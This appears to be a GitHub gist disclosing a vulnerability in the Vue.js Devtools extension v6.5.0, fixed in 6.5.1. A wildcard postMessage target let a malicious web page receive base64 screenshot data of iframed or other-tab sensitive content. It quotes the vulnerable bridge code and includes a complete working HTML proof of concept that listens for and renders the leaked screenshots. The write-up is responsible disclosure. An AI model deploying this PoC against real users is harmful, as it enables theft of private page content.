Skip to content

Instantly share code, notes, and snippets.

@CalumHutton
Created October 10, 2023 11:11
Show Gist options
  • Save CalumHutton/bdb97077a66021ed455f87823cd7c7cb to your computer and use it in GitHub Desktop.
Save CalumHutton/bdb97077a66021ed455f87823cd7c7cb to your computer and use it in GitHub Desktop.
Vuejs Dev Tools v6.5.0 Sensitive Information Leaked to Malicious Web Page

Vuejs Dev Tools v6.5.0 Sensitive Information Leaked to Malicious Web Page

Disclosure Status

I have disclosed this to the maintainer, who issued a fix (by disabling the screenshot functionality by default) in version 6.5.1

Commits

https://github.com/vuejs/devtools/releases/tag/v6.5.1

https://github.com/vuejs/devtools/commit/3444bdd8

Technical Details:

The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage() API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.

Some user interaction was required, as the messages containing screenshot data were only sent when the victim hovered over the timeline bars in the timeline tab (see below)

Screenshot 2023-07-26 at 13 07 46

Some mitigations exist in terms of the website that can be targeted by the malicious web page, as the target site must allow being embedded within iFrames (i.e. the X-Frame-Options HTTP response header must not be present or must explicitly allow the target site). However, it was found that other tabs with the Vue.js devtools extension active also leaked screenshot data back to the malicious web page, increasing the chance of sensitive information disclosure.

The code below shows how the extension uses a wildcard in the postMessage() function call (*) to send the messages back to the web page listeners, which is why screenshot data from separate tabs can be leaked.

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

PoC

In the proof-of-concept Vue.js application below, the standard window.addEventListener(‘message’ <listener>) API is used to register a listener on the malicious web page. The setInterval() function is used to regularly simulate clicks on the PoC page, as these (mouse, keyboard etc) events are what trigger the page capture APIs to generate screenshot data. The handleScreenshot() function checks each incoming message for the expected parameters and converts the incoming base64 encoded screenshot data into an image, which is embedded into the PoC page. In reality, the base64 data would probably be silently exfiltrated to a malicious backend server.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment